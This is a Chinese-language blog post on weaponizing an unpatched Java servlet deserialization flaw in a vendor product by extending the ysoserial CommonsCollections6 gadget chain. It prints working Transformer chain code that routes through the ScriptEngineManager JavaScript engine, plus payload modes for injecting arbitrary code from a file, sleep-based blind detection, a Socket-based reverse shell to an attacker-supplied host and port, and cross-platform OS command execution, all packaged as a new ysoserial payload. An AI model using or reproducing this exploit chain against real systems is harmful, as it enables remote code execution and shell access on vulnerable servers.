最近在研究某XXXC的一个servlet反序列化漏洞时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化漏洞,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完美主义者)的我来说,这条gadget只能执行个单命令并不完美.
既然不完美,那么就亲自操刀来改造一下.
首先来看看chain.
java.util.HashMap.readObject() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
可以看出这条gagdet会反射使用Runtime的相关方法来执行OS命令.
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, cmd), new ConstantTransformer(1)};
如果使用Runtime势必只能执行单命令,执行复杂命令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机器为2003时不在少数,2003的机器并无powershell.且写文件的操作也会非常复杂.我花了一段时间以后,发现可以反射使用javax.script.ScriptEngineManager
来实现我的想法.
科普一下javax.script.ScriptEngineManager
.这个类在jdk中可以用以执行一些脚本语言,例如比较流行的有JavaScript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了JavaScript
语言的脚本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找脚本引擎:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
2.通过MIME类型来获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
3.通过MIME类型来获取:
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
#### 示例:
例如我们要和js混编打印一个HelloWord:
ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("JavaScript"); engine.eval("println('Hello Word');");
当然反射的写法如下:
Class clazz = Class.forName("javax.script.ScriptEngineManager"); Object manager = clazz.getDeclaredConstructor().newInstance(); Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class); Object scriptEngine = getEngineByName.invoke(manager,"JavaScript"); Method eval = scriptEngine.getClass().getMethod("eval",String.class); eval.invoke(scriptEngine,"println('Hello Word');");
#### 注意事项:
由于是和js混编,所以要充分注意js的一些语法和Java语法的区别
try { var a; } catch (e){ }
String[] execArgs = new String[]{cmd}; Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
1.代码注入
我们可以注入我们自己的代码.
假如用户命令以CodeFile:开头,只需要将要注入的js代码放入文件中即可
if (command.startsWith("CodeFile:")) { File codeFile = new File(command.substring(9)); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new FileReader(codeFile)); String s = null; while((s = br.readLine()) != null) { result.append(s + "\n"); } br.close(); } catch (Exception var20) { var20.printStackTrace(); } cmd = result.toString(); System.err.println("----------------------------------Java codefile start----------------------------------"); System.err.println(cmd); System.err.println("-----------------------------------Java codefile end-----------------------------------"); }
例如CodeFile:1.java, 1.java内容如下:
var a; java.lang.Thread.sleep(3000);
if (command.startsWith("sleep-check-")) { long i = Integer.parseInt(command.split("[-]")[2]) * 1000; cmd = String.format("java.lang.Thread.sleep(%s);",i); }
java.net.Socket
可以反弹shell.由于jdk是跨平台的,所以无关机器类型,2003的机器依然可以借助该api而不用借助powershell反弹shell.if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) { if (command.split(":").length != 3) { throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got " + command + ")"); } String host = null; host = command.split(":")[1]; int port = 0; try { port = Integer.parseInt(command.split(":")[2]); } catch (NumberFormatException var14) { throw new IllegalArgumentException("Invalid port specified for connect back command (" + command.split(":")[2] + ")"); } if (port < 1 || port > 65535) { throw new IllegalArgumentException("Invalid port specified for connect back command (" + port + ")"); } cmd = String.format("var host = \"%s\";\n" + "var port = %d;\n" + "var p;\n" + "var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" + "if(os.contains(\"win\")){\n" + " p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" + " }else{\n" + " p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" + " }\n" + "var s = new java.net.Socket(host,port);\n" + "var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();\n" + "var po = p.getOutputStream(),so = s.getOutputStream();\n" + "while(!s.isClosed()) {\n" + "while(pi.available()>0) {\n" + "so.write(pi.read());\n" + "}\n" + "while(pe.available()>0) {\n" + "so.write(pe.read());\n" + "}\n" + "while(si.available()>0) {\n" + "po.write(si.read());\n" + "}\n" + "so.flush();\n" + "po.flush();\n" + "java.lang.Thread.sleep(50);\n" + "try {\n" + "p.exitValue();\n" + "break;\n" + "}\n" + "catch (e){\n" + "}\n" + "};\n" + "p.destroy();\n" + "s.close();",host,port); }
例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.
4.原始命令执行:
这个就是普通的命令执行,自动判断os类型以后加入os底层.
cmd = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\nvar cmd = new java.lang.String(\"" + command + "\");\n" + "var listCmd = new java.util.ArrayList();\n" + "var p = new java.lang.ProcessBuilder();\n" + " if(isWin){\n" + " p.command(\"cmd.exe\", \"/c\", cmd);\n" + " }else{\n" + " p.command(\"sh\", \"-c\", cmd);\n" + " }\n" + "p.redirectErrorStream(true);\n" + "var process = p.start();";
### 0x05 改造完成
新建一个ysoserial.payloads.CommonsCollections12
打包进ysoserial以后即可.
1.代码注入测试
2.延迟注入测试
3.反弹shell测试
4.普通命令执行
感谢Bearcat、Ntears、cafebabe提供相关模块的实现思路.